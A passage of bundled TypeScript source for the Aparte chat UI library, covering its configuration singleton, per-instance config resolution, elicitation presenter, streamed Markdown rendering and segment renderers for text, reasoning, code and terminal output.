AparteToolHandler): void {\n this._tools.set(tool.name, { tool, handler });\n }\n\n /** Unregister a tool by name */\n unregisterTool(name: string): void {\n this._tools.delete(name);\n }\n\n /** Get all registered tool definitions (to pass in AparteChatRequest) */\n getTools(): AparteTool[] {\n return Array.from(this._tools.values()).map(e => e.tool);\n }\n\n /** Get the handler for a tool by name */\n getToolHandler(name: string): AparteToolHandler | undefined {\n return this._tools.get(name)?.handler;\n }\n\n /**\n * Register a per-tool segment renderer.\n * Controls what appears in the chat bubble when the AI calls this tool.\n * Use this instead of the generic `tool_call` segment renderer for tool-specific UI.\n *\n * @example\n * // Hide the segment entirely (UI-only tool like ask_user)\n * aparteGlobalConfig.registerToolRenderer('ask_user', { render: () => '' });\n *\n * @example\n * // Custom pill for a web-search tool\n * aparteGlobalConfig.registerToolRenderer('web_search', { render: (seg) => `<div class=\"tool-pill\">Searching...</div>` });\n */\n registerToolRenderer(toolName: string, renderer: AparteToolRenderer): void {\n this._toolRenderers.set(toolName, renderer);\n }\n\n /** Unregister a per-tool renderer */\n unregisterToolRenderer(toolName: string): void {\n this._toolRenderers.delete(toolName);\n }\n\n /** Get the renderer for a specific tool name. Returns undefined if none registered. */\n getToolRenderer(toolName: string): AparteToolRenderer | undefined {\n return this._toolRenderers.get(toolName);\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Conversation Manager (optional, agnostic persistence layer)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register a AparteConversationManager so any UI controller can persist & load\n * conversations without coupling to a framework wrapper.\n */\n setConversationManager(manager: AparteConversationManager): void {\n this._conversationManager = manager;\n }\n\n /** Returns the registered AparteConversationManager, or undefined if none. */\n getConversationManager(): AparteConversationManager | undefined {\n return this._conversationManager;\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Elicitation (human-in-the-loop typed input)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register the presenter that renders typed input requests (a choice, a\n * confirmation, a text field, a form) and resolves with the user's answer.\n * The `<aparte-elicitation>` Web Component registers itself here; an app can\n * override with its own framework-native presenter. Pass `null` to clear.\n */\n setElicitationPresenter(presenter: AparteElicitationPresenter | null): void {\n this._elicitationPresenter = presenter ?? undefined;\n }\n\n /** The registered elicitation presenter, or undefined if none. */\n getElicitationPresenter(): AparteElicitationPresenter | undefined {\n return this._elicitationPresenter;\n }\n\n /**\n * Ask the user for typed input mid-run and await their response. This is the\n * generic primitive behind `ask_user` and tool approval — the KIND of\n * question is the schema, not a bespoke tool. Resolves `accept` with the\n * value, `decline` when the user declines, or `cancel` when the turn is\n * cancelled.\n *\n * With NO presenter registered it resolves `cancel` rather than hanging — and\n * warns, once, because that `cancel` is otherwise a lie told quietly. The\n * model reads it as \"the user refused\"; the user was never asked, and the\n * developer sees nothing at all. The default presenter is\n * `<aparte-elicitation>`, which registers itself from its `connectedCallback`\n * — so it has to be IN THE DOM. A docs page of ours claimed it \"installs\n * itself — nothing to register\", which is how this failure mode was found.\n */\n requestUserInput(request: AparteElicitationRequest): Promise<AparteElicitationResult> {\n if (!this._elicitationPresenter) {\n if (!this._warnedNoPresenter) {\n this._warnedNoPresenter = true;\n console.warn(\n '[aparte] requestUserInput() was called with no elicitation presenter, '\n + 'so it resolved `cancel` — the model will read that as the user refusing, '\n + 'but nothing was ever shown. Add <aparte-elicitation></aparte-elicitation> '\n + 'inside your <aparte-chat>, or register your own by calling '\n + 'setElicitationPresenter() on the config this chat resolves — '\n + 'the scoped one if you passed a `config`, aparteGlobalConfig otherwise.',\n );\n }\n return Promise.resolve({ action: 'cancel' });\n }\n return this._elicitationPresenter(request);\n }\n\n /**\n * Reset ALL configuration back to defaults — providers, registries, model\n * selection and bubble actions. Previously left `_aiProviders` / `_tools` /\n * `_toolRenderers` / `_modelConfig` behind, which leaked across SPA\n * navigations (registries only ever grew). Now a full reset.\n */\n reset(): void {\n this._markdownProvider = undefined;\n this._streamingMarkdownProvider = undefined;\n this._highlightProvider = undefined;\n this._systemPromptTemplate = undefined;\n this._systemPromptVarsProvider = undefined;\n this._skeletonProvider = undefined;\n this._statusRenderer = undefined;\n this._errorRenderer = undefined;\n this._attachmentRenderer = undefined;\n this._siblingNavRenderer = undefined;\n this._bubbleShellRenderer = undefined;\n this._iconProvider = undefined;\n this._avatarProvider = undefined;\n this._artifactPreviewBuilder = undefined;\n this._keyProvider = undefined;\n this._conversationManager = undefined;\n this._elicitationPresenter = undefined;\n this._locale = APARTE_DEFAULT_LOCALE;\n this._actions = [];\n this._sanitizer = defaultSanitizer;\n // Registries — the leak the audit flagged.\n this._aiProviders.clear();\n this._fetchedModels.clear();\n this._tools.clear();\n this._toolRenderers.clear();\n this._modelConfig = {};\n this._requireModelSelection = false;\n this._elicitationAllowOther = true;\n this._elicitationLayout = 'stepped';\n this._elicitationFieldRenderer = undefined;\n this._modelPreferenceProvider = undefined;\n this._bubbleActionsConfig = { ...APARTE_DEFAULT_BUBBLE_ACTIONS };\n this._hostHandlers = { ...APARTE_DEFAULT_HOST_HANDLERS };\n this._notify();\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Default Fallbacks (Zero-dependency)\n // ─────────────────────────────────────────────────────────────────────────\n\n private _defaultMarkdownRenderer(raw: string): string {\n // Simple security: Escape HTML tags\n const escaped = escapeHtml(raw);\n // Convert newlines to breaks\n return escaped.replace(/\\n/g, '<br>');\n }\n\n private _defaultHighlightRenderer(code: string): string {\n return `<pre><code>${escapeHtml(code)}</code></pre>`;\n }\n\n private _defaultSkeletonRenderer(type: AparteSkeletonType): string {\n // Minimal fallback - no CSS animations, no heavy styling\n // Register a richer skeleton via setSkeletonProvider for shimmer effects\n const fallbacks: Record<AparteSkeletonType, string> = {\n message: '<div class=\"aparte-skeleton-fallback\" style=\"padding:16px;color:#9ca3af;\">Loading message...</div>',\n code: '<div class=\"aparte-skeleton-fallback\" style=\"padding:16px;background:#1e293b;color:#64748b;border-radius:8px;\">Loading code...</div>',\n text: '<div class=\"aparte-skeleton-fallback\" style=\"padding:8px;color:#9ca3af;\">Loading...</div>',\n thinking: '<div class=\"aparte-skeleton-fallback\" style=\"padding:8px;color:#9ca3af;\">Thinking...</div>',\n input: '<div class=\"aparte-skeleton-fallback\" style=\"padding:12px;color:#9ca3af;\">...</div>',\n list: '<div class=\"aparte-skeleton-fallback\" style=\"padding:16px;color:#9ca3af;\">Loading items...</div>',\n };\n return fallbacks[type] || fallbacks.text;\n }\n\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Export Singleton\n// ─────────────────────────────────────────────────────────────────────────────\n\n/**\n * The page-global singleton's key.\n *\n * A `Symbol.for`, and versioned — matching the discipline the instance boundary\n * next door already uses (`Symbol.for('aparte.instanceConfig')`). It used to be the\n * enumerable string `'__APARTE_CONFIG_SINGLETON__'` with no version segment, so any\n * two copies of `@aparte/core` on one page — the ordinary outcome of a `~` peer next\n * to an app-level dependency, or two consumers on different wrapper versions — got\n * the instance built by whichever module evaluated first, while their `AparteConfig`\n * classes, their `Symbol.for('aparte.instanceConfig')` reads and their WeakMap\n * renderer registries stayed distinct. One object, seen through two classes across\n * which `instanceof` is false.\n *\n * The trailing number is a CONTRACT version, not the package version: bump it when\n * the config's shape changes in a way that makes sharing unsafe. Two copies then\n * simply get one global each, which is correct — a copy is consistent with itself.\n */\nconst GLOBAL_CONFIG_KEY = Symbol.for('aparte.globalConfig.1');\n\nfunction getGlobalConfig(): AparteConfig {\n if (typeof window !== 'undefined') {\n if (!(window as unknown as Record<symbol, AparteConfig>)[GLOBAL_CONFIG_KEY]) {\n (window as unknown as Record<symbol, AparteConfig>)[GLOBAL_CONFIG_KEY] = new AparteConfig();\n }\n return (window as unknown as Record<symbol, AparteConfig>)[GLOBAL_CONFIG_KEY]!;\n }\n // Fallback for non-browser environments (e.g., SSR, tests)\n return new AparteConfig();\n}\n\n/**\n * Global configuration singleton for Aparte.\n * Use this to register providers and configure behavior.\n */\nexport const aparteGlobalConfig = getGlobalConfig();\n\n// Inject default styles for skeletons if needed (optional)\n// Note: In a real app we might want to use a stylesheet or shadow DOM styles\n\n/**\n * Detail payload for `aparte-config-change`, dispatched on `window` whenever any\n * provider, locale, action or model setting changes.\n *\n * Five core components listen for it — the widest listener footprint of any event\n * that had no declared type. `config` is what makes per-instance config work: a\n * component resolving to a different instance compares it and skips the rebuild\n * instead of every chat on the page reacting to every config's change.\n *\n * @event aparte-config-change\n */\nexport interface AparteConfigChangeEventDetail {\n /** The config instance that changed — compare against your own before reacting. */\n config: AparteConfig;\n /** Its model configuration, after the change. */\n modelConfig: AparteModelConfig;\n}\n","/**\n * Per-instance config resolution (Phase 2, step 1 — the seam only).\n *\n * `aparteGlobalConfig` is a page-wide singleton: one config for the whole page. That makes\n * two independent chats on one page impossible (changing the model of one\n * changes the other) and couples every component to global state.\n *\n * This module adds an OPTIONAL instance boundary without touching behaviour:\n * a host element can carry its own {@link AparteConfig} instance, and any\n * component resolves \"its\" config by walking up to the nearest such host —\n * falling back to the global singleton when there is none. Until a caller\n * attaches an instance config, `resolveConfig` always returns the global, so\n * single-chat apps are unaffected.\n *\n * Step 2 migrates the ~23 component read-sites from `aparteGlobalConfig.x()` to\n * `resolveConfig(this).x()`. This step just ships the mechanism + tests.\n */\n\nimport { aparteGlobalConfig, AparteConfig } from './aparte-config.js';\n\n/** Marks an element as an instance-config boundary (used by `closest()`). */\nexport const APARTE_HOST_ATTR = 'data-aparte-host';\n\n/** Non-enumerable slot holding the instance config on a boundary element. */\nconst CONFIG_SLOT = Symbol.for('aparte.instanceConfig');\n\ninterface ConfigHost {\n [CONFIG_SLOT]?: AparteConfig;\n}\n\n/**\n * Implemented by an element that REGISTERS something on its config rather than\n * only reading from it — an elicitation presenter, a renderer, a listener keyed\n * on the config object.\n *\n * Reading is safe without this hook: `resolveConfig(this)` at every use site\n * always sees the current boundary. WRITING is not. A write happens once, into\n * whichever config was resolvable at that moment — and under all four wrappers\n * that moment is *before* the boundary exists, because `AparteChatHost.bind()`\n * runs from a post-mount hook. So the write lands on the global singleton and\n * the instance config never gets it.\n *\n * That is not hypothetical: `<aparte-elicitation>` registered its presenter at\n * connect, so under every wrapper `requestUserInput()` found no presenter on the\n * instance config and answered the model `cancel` — the model was told the user\n * refused while the user was shown nothing at all.\n *\n * Implement this and re-do the registration: move it off `previous`, put it on\n * `next`. Both {@link attachConfig} and {@link detachConfig} call it, so the same\n * method handles teardown, which is where the mirror-image leak lived.\n */\nexport interface AparteConfigAware {\n aparteConfigChanged(next: AparteConfig, previous: AparteConfig): void;\n}\n\n/**\n * Tell everything already inside `root` that its resolution just changed.\n *\n * A depth-first sweep rather than an event: an event dispatched on the boundary\n * does not reach descendants (events bubble up, not down), and one dispatched on\n * every descendant would be the same sweep with more ceremony. `root` itself is\n * included — a boundary element may also be a registrant.\n */\nfunction notifyConfigChanged(root: HTMLElement, next: AparteConfig, previous: AparteConfig): void {\n if (next === previous) return;\n const call = (el: HTMLElement): void => {\n const hook = (el as Partial<AparteConfigAware>).aparteConfigChanged;\n if (typeof hook === 'function') hook.call(el, next, previous);\n };\n call(root);\n for (const el of root.querySelectorAll<HTMLElement>('*')) call(el);\n}\n\n/**\n * Attach an instance config to `el`, making it a resolution boundary: every\n * component inside `el` resolves to `config` instead of the global singleton.\n * Idempotent; pass the same element to replace its config.\n *\n * Anything already mounted inside `el` that implements {@link AparteConfigAware}\n * is told, because attaching a boundary silently rewrites what those children\n * resolve to and a registration they already made is now on the wrong object.\n */\nexport function attachConfig(el: HTMLElement, config: AparteConfig): void {\n const previous = (el as unknown as ConfigHost)[CONFIG_SLOT] ?? resolveConfig(el.parentElement);\n (el as unknown as ConfigHost)[CONFIG_SLOT] = config;\n el.setAttribute(APARTE_HOST_ATTR, '');\n notifyConfigChanged(el, config, previous);\n}\n\n/**\n * Remove the instance-config boundary from `el` (e.g. in `disconnectedCallback`).\n * Components under `el` fall back to the next boundary up, or the global.\n *\n * Registrants are told BEFORE they would silently re-resolve elsewhere, which is\n * the half that leaked: a wrapper's `unbind()` detaches the boundary before the\n * framework removes the DOM, so by the time `disconnectedCallback` ran, the\n * element's own `resolveConfig(this)` already returned the global — its\n * \"am I still the registered one?\" guard compared against the wrong config, found\n * no match, and left the instance config holding a removed element for good.\n */\nexport function detachConfig(el: HTMLElement): void {\n const previous = (el as unknown as ConfigHost)[CONFIG_SLOT];\n delete (el as unknown as ConfigHost)[CONFIG_SLOT];\n el.removeAttribute(APARTE_HOST_ATTR);\n if (previous) notifyConfigChanged(el, resolveConfig(el.parentElement), previous);\n}\n\n/**\n * Resolve the config governing `el`: the nearest ancestor boundary's instance\n * config (including `el` itself), or {@link aparteGlobalConfig} when none is\n * present. Cheap — a single `closest()`.\n *\n * DO NOT cache this at `connectedCallback`. An earlier version of this comment\n * advised exactly that, and two elements followed it into a real bug: a framework\n * wrapper calls `AparteChatHost.bind()` — which is what runs `attachConfig` — from\n * its POST-mount hook (React `useEffect`, Vue `onMounted`, Svelte `onMount`,\n * Angular `ngAfterViewInit`), so children mounted in the same commit connect\n * BEFORE the boundary exists. A connect-time cache therefore freezes the global\n * config forever, and the `config` prop every wrapper advertises silently does\n * nothing for that element.\n *\n * Resolve it live, in a getter. `closest()` on a shallow tree is not a cost worth\n * a correctness bug — `aparte-chat-bubble` has done it that way from the start, and\n * it is the one element that was never affected.\n *\n * That advice covers READERS, and it is not enough on its own. An element that\n * WRITES to its config — registering a presenter, a renderer, a keyed listener —\n * cannot fix the ordering by resolving live, because the write already happened.\n * Those implement {@link AparteConfigAware} and re-register when told. The\n * reader/writer distinction is the one this file missed the first time round: the\n * sweep that applied the advice above fixed every reader and left both writers\n * broken.\n */\nexport function resolveConfig(el: Element | null | undefined): AparteConfig {\n const host = el?.closest?.(`[${APARTE_HOST_ATTR}]`) as (Element & ConfigHost) | null | undefined;\n return host?.[CONFIG_SLOT] ?? aparteGlobalConfig;\n}\n\n// ─── Render context ──────────────────────────────────────────────────────────\n// Segment/tool renderers are plain functions — `render(segment)` receives no\n// element to resolve from. Instead, the component invoking them (e.g. the\n// bubble) wraps the call in `runWithConfig(resolveConfig(this), …)`, and the\n// renderer reads `contextConfig()`. Synchronous only: async continuations must\n// capture the config BEFORE awaiting (`const cfg = contextConfig()` at the top).\n\nlet _renderConfig: AparteConfig | null = null;\n\n/** Run `fn` with `config` as the ambient render config (restored after). */\nexport function runWithConfig<T>(config: AparteConfig, fn: () => T): T {\n const prev = _renderConfig;\n _renderConfig = config;\n try {\n return fn();\n } finally {\n _renderConfig = prev;\n }\n}\n\n/**\n * The ambient render config set by {@link runWithConfig}, else the config\n * resolved from `el` (when provided), else the global singleton. Capture it\n * synchronously at the top of a renderer — never after an `await`.\n */\nexport function contextConfig(el?: Element | null): AparteConfig {\n return _renderConfig ?? resolveConfig(el);\n}\n","/**\n * Skeleton Provider Interface\n * \n * Defines the contract for skeleton/loading state plugins.\n * Returns HTML strings for various loading states.\n * \n * @example\n * // Register a skeleton provider (e.g. an Angular ngx-skeleton-loader bridge)\n * aparteGlobalConfig.setSkeletonProvider({\n * message: () => '<ngx-skeleton-loader count=\"3\"></ngx-skeleton-loader>',\n * code: () => '<ngx-skeleton-loader appearance=\"line\" count=\"5\"></ngx-skeleton-loader>',\n * // ...\n * });\n */\n\n/** Skeleton types available in the provider */\nexport type AparteSkeletonType =\n | 'message' // Chat message loading state\n | 'code' // Code block loading state\n | 'thinking' // AI thinking indicator\n | 'input' // Input field loading\n | 'list' // List items loading\n | 'text'; // Generic text loading\n\nexport interface AparteSkeletonProvider {\n /** Get skeleton HTML for a specific type */\n getSkeleton: (type: AparteSkeletonType) => string;\n}\n\n/** \n * Minimal fallback skeletons - zero CSS animations, just structure\n * Used when no skeleton plugin is installed\n */\nexport const APARTE_DEFAULT_SKELETON_FALLBACKS: Record<AparteSkeletonType, string> = {\n message: '<div class=\"aparte-skeleton-fallback\" style=\"padding:16px;color:#9ca3af;\">Loading...</div>',\n code: '<div class=\"aparte-skeleton-fallback\" style=\"padding:16px;background:#1e293b;color:#64748b;border-radius:8px;\">Loading code...</div>',\n thinking: '<div class=\"aparte-skeleton-fallback\" style=\"padding:8px;color:#9ca3af;\">Thinking...</div>',\n input: '<div class=\"aparte-skeleton-fallback\" style=\"padding:12px;color:#9ca3af;\">...</div>',\n list: '<div class=\"aparte-skeleton-fallback\" style=\"padding:16px;color:#9ca3af;\">Loading items...</div>',\n text: '<div class=\"aparte-skeleton-fallback\" style=\"padding:8px;color:#9ca3af;\">...</div>',\n};\n","/**\n * Writing streamed Markdown into an element — the incremental path, and its\n * one-shot fallback.\n *\n * Extracted from the text renderer when the thinking renderer needed the same\n * thing. It is a small state machine with three states and two failure modes that\n * only show up on a long stream, so the alternative was two hand-maintained copies\n * of it — and this repo has already paid for one of those (the `<artifact>` XML\n * feeder, whose two copies drifted and then cited each other by line number).\n *\n * What it does, and why:\n *\n * - With an incremental provider registered (`@aparte/plugin-streaming-markdown`),\n * each new chunk is fed to a persistent parser that APPENDS DOM nodes — O(n) over\n * the whole message, no per-token re-parse and no `innerHTML` rebuild. That\n * rebuild is not merely wasteful: the per-token render plus GPU paint storm is\n * what starves a local model's WebGPU decode. It also renders partial Markdown\n * live, so `**bold` shows bold before its closing `**` arrives.\n * - With no provider, it falls back to the one-shot `renderMarkdown` — which is\n * also what the zero-dependency default gives you (escape + `<br>`).\n * - On the settling update (`isStreaming === false`) it flushes the incremental\n * parser with `end()` — that emits the buffered token lookahead, e.g. a trailing\n * emoji — and then re-renders once with the one-shot provider for full fidelity.\n */\nimport { contextConfig } from '../config/index.js';\nimport type { AparteStreamingMarkdownRenderer } from '../config/index.js';\n\n/**\n * The element that carries the incremental state.\n *\n * It lives on the segment's root element rather than in a module map so that\n * removing the element removes the state with it — a map would keep a detached\n * parser alive for every message ever streamed.\n *\n * `undefined` → not started · `null` → no provider (one-shot fallback)\n * object → active incremental renderer + chars already written.\n */\nexport type AparteMarkdownStreamHost = HTMLElement & {\n _aparteSmd?: { renderer: AparteStreamingMarkdownRenderer; written: number } | null;\n};\n\n/**\n * Render `content` into `contentEl`, incrementally while streaming.\n *\n * @param host the segment's root element, which holds the parser state\n * @param contentEl the element whose children are the rendered Markdown\n * @param content the FULL content so far, not the delta — the delta is derived\n * @param streaming false on the settling update, which flushes and re-renders once\n */\nexport function writeStreamedMarkdown(\n host: AparteMarkdownStreamHost,\n contentEl: Element,\n content: string,\n streaming: boolean,\n): void {\n if (streaming) {\n // Lazily create an incremental renderer on the first streaming update.\n if (host._aparteSmd === undefined) {\n const renderer = contextConfig().createStreamingMarkdownRenderer(contentEl as HTMLElement);\n if (renderer) {\n contentEl.textContent = ''; // drop the skeleton — smd appends from scratch\n host._aparteSmd = { renderer, written: 0 };\n } else {\n host._aparteSmd = null; // no provider → one-shot fallback below\n }\n }\n const smd = host._aparteSmd;\n if (smd) {\n const delta = content.slice(smd.written);\n if (delta) {\n smd.renderer.write(delta);\n smd.written = content.length;\n }\n return;\n }\n // smd === null → fall through to the one-shot render.\n } else if (host._aparteSmd) {\n // Stream finished — flush the incremental parser (emits its buffered\n // trailing characters), then re-render once below with the one-shot\n // provider for full Markdown fidelity.\n host._aparteSmd.renderer.end();\n host._aparteSmd = undefined;\n }\n\n contentEl.innerHTML = contextConfig().renderMarkdown(content);\n}\n\n/**\n * Highlight the fenced code blocks a Markdown render produced.\n *\n * The `code` SEGMENT renderer is the only thing in the library that calls\n * `highlightCode()`, so a fence that arrives inside another segment's Markdown —\n * a reasoning block, say — came out as a bare `<pre><code>` while the same fence\n * in the answer was highlighted. This closes that gap without touching the parser:\n * no nested segments, no segment tree, just the same provider applied to the\n * markup Markdown already produced.\n *\n * Best-effort and idempotent: a marked block is skipped on a re-render, a missing\n * provider leaves the plain block alone, and a failed highlight degrades silently\n * — exactly like the code renderer's own call.\n */\nexport function highlightMarkdownFences(contentEl: Element): void {\n const blocks = contentEl.querySelectorAll('pre > code:not([data-aparte-highlighted])');\n for (const block of blocks) {\n const pre = block.parentElement;\n if (!pre) continue;\n // `language-ts` is what every Markdown renderer emits for ```ts.\n const lang = Array.from(block.classList)\n .find(c => c.startsWith('language-'))?.slice('language-'.length) ?? '';\n const source = block.textContent ?? '';\n block.setAttribute('data-aparte-highlighted', '');\n void contextConfig().highlightCode(source, lang)\n .then(html => {\n // The provider returns a full `<pre>…</pre>`, so it replaces the\n // block's own `<pre>` rather than filling it.\n if (pre.isConnected || pre.parentElement) pre.outerHTML = html;\n })\n .catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n}\n","/**\n * Plain text — the streaming path, and the only renderer that owns a DOM host contract.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport { writeStreamedMarkdown, type AparteMarkdownStreamHost } from '../markdown-stream.js';\nimport type {\n AparteSegmentRenderer,\n AparteTextSegment,\n} from '../../types/index.js';\n\n/**\n * Text segment renderer.\n *\n * The incremental-vs-one-shot Markdown machinery lives in\n * `../markdown-stream.ts`, shared with the thinking renderer — see that file for\n * why appending beats rebuilding, and what the settling update flushes.\n */\nexport const textRenderer: AparteSegmentRenderer<AparteTextSegment> = {\n type: 'text',\n render: (segment) => `<div class=\"segment segment-text\" data-segment-id=\"${escapeHtml(segment.id)}\"><div class=\"segment-content\">${contextConfig().renderMarkdown(segment.content)}</div></div>`,\n update: (el, segment) => {\n const contentEl = el.querySelector('.segment-content');\n if (!contentEl) return;\n writeStreamedMarkdown(\n el as AparteMarkdownStreamHost,\n contentEl,\n segment.content,\n segment.isStreaming !== false,\n );\n },\n getStyles: () => ``\n};\n","/**\n * Reasoning blocks — a collapsed disclosure the user can open.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport {\n writeStreamedMarkdown,\n highlightMarkdownFences,\n type AparteMarkdownStreamHost,\n} from '../markdown-stream.js';\nimport type {\n AparteSegmentRenderer,\n AparteThinkingSegment,\n} from '../../types/index.js';\n\n/**\n * How far from the bottom still counts as \"at the bottom\", in px.\n *\n * Deliberately much tighter than the transcript's 50: this box is ~300px tall, so\n * 50 would call the last sixth of it \"the bottom\". One line of reasoning text is\n * about 20px (13px font, 1.55 line-height), and the slack exists for sub-pixel\n * layout rounding rather than for user intent — scrolling up by a single line is a\n * decision, and it disengages the anchor.\n */\nconst THINKING_ANCHOR_SLACK = 24;\n\nexport const thinkingRenderer: AparteSegmentRenderer<AparteThinkingSegment> = {\n type: 'thinking',\n /*\n * Markdown, like every other prose surface.\n *\n * The reasoning was rendered as escaped plain text in a `white-space: pre-wrap`\n * box, so a model that formats its thinking — headings, lists, `**bold**`, a\n * fenced snippet, which is most of them — showed its own syntax as literal\n * characters. Nothing said that was deliberate; it read as one, because the\n * `pre-wrap` made it look like a chosen preformatted block.\n *\n * `renderMarkdown` sanitizes its provider's output before it reaches innerHTML,\n * so this is exactly the text renderer's path, with the same guarantees and no\n * new class of risk. With no Markdown provider registered it degrades to the\n * zero-dependency default (escape + `<br>`), which is what it used to be.\n */\n render: (segment) => `<details class=\"segment segment-thinking\" data-segment-id=\"${escapeHtml(segment.id)}\" ${segment.collapsed ? '' : 'open'}><summary class=\"thinking-header\"><span class=\"thinking-label\">${escapeHtml(segment.label || contextConfig().t('thinking'))}</span><span class=\"thinking-toggle\"></span></summary><div class=\"thinking-content\">${contextConfig().renderMarkdown(segment.content)}</div></details>`,\n update: (el, segment) => {\n // collapsed state is managed by _applySegmentUpdate based on explicit updates only —\n // never override what the user set by clicking <summary>\n const contentEl = el.querySelector('.thinking-content');\n if (!contentEl) return;\n\n // Anchor to the bottom while the reasoning streams — but only if the reader\n // was already there.\n //\n // `.thinking-content` is its own scroll container (`max-height` +\n // `overflow-y: auto`), and this update replaced its text without touching\n // `scrollTop`. So every delta pushed the newest line below the fold and the\n // block sat frozen on the first 300px of a reasoning trace that kept\n // growing. Same rule as the transcript itself: follow the stream, unless the\n // reader has scrolled up to read — then leave their position alone. No\n // scroll-to-bottom button; being at the bottom is the whole signal.\n //\n // The measurement MUST happen before the write. Afterwards `scrollHeight`\n // has already grown by the new text, so the distance to the bottom is\n // whatever just arrived and the answer is always \"not at the bottom\" — the\n // block would then anchor exactly never. The transcript's own scroll\n // handling cost five wrong attempts on this ordering; it is written down\n // here so the sixth is not in this file.\n const wasAtBottom =\n contentEl.scrollHeight - contentEl.scrollTop - contentEl.clientHeight <= THINKING_ANCHOR_SLACK;\n\n const streaming = segment.isStreaming !== false;\n writeStreamedMarkdown(el as AparteMarkdownStreamHost, contentEl, segment.content, streaming);\n\n // Highlight on settle only, exactly like the code renderer: running a\n // highlighter on every token is the paint storm the incremental writer\n // exists to avoid. A fence inside reasoning is not a `code` SEGMENT — the\n // parser accumulates a thinking block raw until its closing delimiter — so\n // without this it would be the one code block in the transcript with no\n // highlighting. No copy button here: that would need real nested segments,\n // which is a design change and not this fix.\n if (!streaming) highlightMarkdownFences(contentEl);\n\n if (wasAtBottom) contentEl.scrollTop = contentEl.scrollHeight;\n },\n getStyles: () => ``\n};\n","/**\n * Fenced code — highlighted through the opt-in provider, plain when there is none.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml, escapeAttr } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport type {\n AparteSegmentRenderer,\n AparteCodeSegment,\n} from '../../types/index.js';\n\nexport const codeRenderer: AparteSegmentRenderer<AparteCodeSegment> = {\n type: 'code',\n render: (segment) => `\n <div class=\"segment segment-code\" data-segment-id=\"${escapeHtml(segment.id)}\">\n <div class=\"code-header\">\n ${segment.filename\n ? `<span class=\"code-filename\">${escapeHtml(segment.filename)}</span>`\n : `<span class=\"code-header-filler\"></span>`}\n <span class=\"code-language\">${escapeHtml(segment.language || '')}</span>\n <button class=\"code-copy\" data-action=\"copy\" title=\"${escapeAttr(contextConfig().t('copy'))}\">\n ${contextConfig().getIcon('copy')}\n </button>\n </div>\n <div class=\"code-content-wrapper\">\n <pre><code class=\"language-${escapeHtml(segment.language || 'text')}\">${escapeHtml(segment.content)}</code></pre>\n </div>\n </div>\n `,\n setup: (element, segment) => {\n // Async highlight: replace plain <pre><code> with highlighted HTML once ready\n const wrapper = element.querySelector('.code-content-wrapper');\n if (wrapper) {\n void contextConfig().highlightCode(segment.content, segment.language || '').then(html => {\n wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n\n const copyBtn = element.querySelector('.code-copy');\n if (copyBtn) {\n copyBtn.addEventListener('click', () => {\n // Late execution (user click) — the ambient render config is\n // gone; resolve from the connected element instead.\n void navigator.clipboard.writeText(segment.content || '').catch(() => { /* best-effort: a failed clipboard write degrades silently */ });\n copyBtn.innerHTML = contextConfig(copyBtn).getIcon('check');\n copyBtn.setAttribute('title', contextConfig(copyBtn).t('copied'));\n setTimeout(() => {\n copyBtn.innerHTML = contextConfig(copyBtn).getIcon('copy');\n copyBtn.setAttribute('title', contextConfig(copyBtn).t('copy'));\n }, 1500);\n });\n }\n },\n update: (element, segment) => {\n if (segment.isStreaming) {\n // During streaming: update raw text only to avoid firing highlight on every token.\n // The code-content-wrapper may contain either the plain <pre><code> (initial render)\n // or highlighted HTML (from a previous async highlight). Update the innermost\n // <code> element if present; otherwise fall back to the wrapper itself.\n const codeEl = element.querySelector('.code-content-wrapper code');\n if (codeEl) {\n codeEl.textContent = segment.content;\n } else {\n const wrapper = element.querySelector('.code-content-wrapper');\n if (wrapper) wrapper.innerHTML = `<pre><code class=\"language-${escapeHtml(segment.language || 'text')}\">${escapeHtml(segment.content)}</code></pre>`;\n }\n } else {\n // Streaming complete — run the highlight provider for polished output.\n const wrapper = element.querySelector('.code-content-wrapper');\n if (wrapper) {\n void contextConfig().highlightCode(segment.content, segment.language || '').then(html => {\n wrapper.innerHTML = html;\n }).catch(() => { /* best-effort: a failed highlight degrades silently */ });\n }\n }\n },\n getStyles: () => ``\n};\n","/**\n * Terminal output, with the Run affordance a host must declare before it appears.\n *\n * One renderer, one file. They lived in a single 1900-line module because there was\n * nowhere else to put them; the registry that consumes them is in\n * `../segment-renderers.ts`.\n */\nimport { escapeHtml, escapeAttr } from '../../utils/escape.js';\nimport { contextConfig } from '../../config/index.js';\nimport type {\n AparteSegmentRenderer,\n AparteTerminalSegment,\n} from '../../types/index.js';\n\nexport const terminalRenderer: AparteSegmentRenderer<AparteTerminalSegment> = {\n type: 'terminal',\n render: (segment) => `\n <div class=\"segment segment-terminal\" data-segment-id=\"${escapeHtml(segment.id)}\">\n <div class=\"terminal-command-block\">\n <div class=\"terminal-icon\">\n ${contextConfig().getIcon('terminal')}\n </div>\n <code class=\"terminal-command\">${escapeHtml(segment.command || '')}</code>\n <div class=\"terminal-actions\">\n ${segment.isRunning\n ? `<span class=\"terminal-running\"><span class=\"spinner\"></span>${contextConfig().t('running')}</span>`\n : contextConfig().getHostHandlers().terminalRun\n ? `<button class=\"terminal-run-btn\" data-action=\"run\" aria-label=\"${escapeAttr(contextConfig().t('run'))}\" title=\"${escapeAttr(contextConfig().t('run'))}\">${contextConfig().t('run')}</button>`\n : ''}\n <button class=\"terminal-copy-btn\" data-action=\"copy\" aria-label=\"${escapeAttr(contextConfig().t('copy'))}\" title=\"${escapeAttr(contextConfig().t('copy'))}\">\n ${contextConfig().getIcon('copy')}\n </button>\n 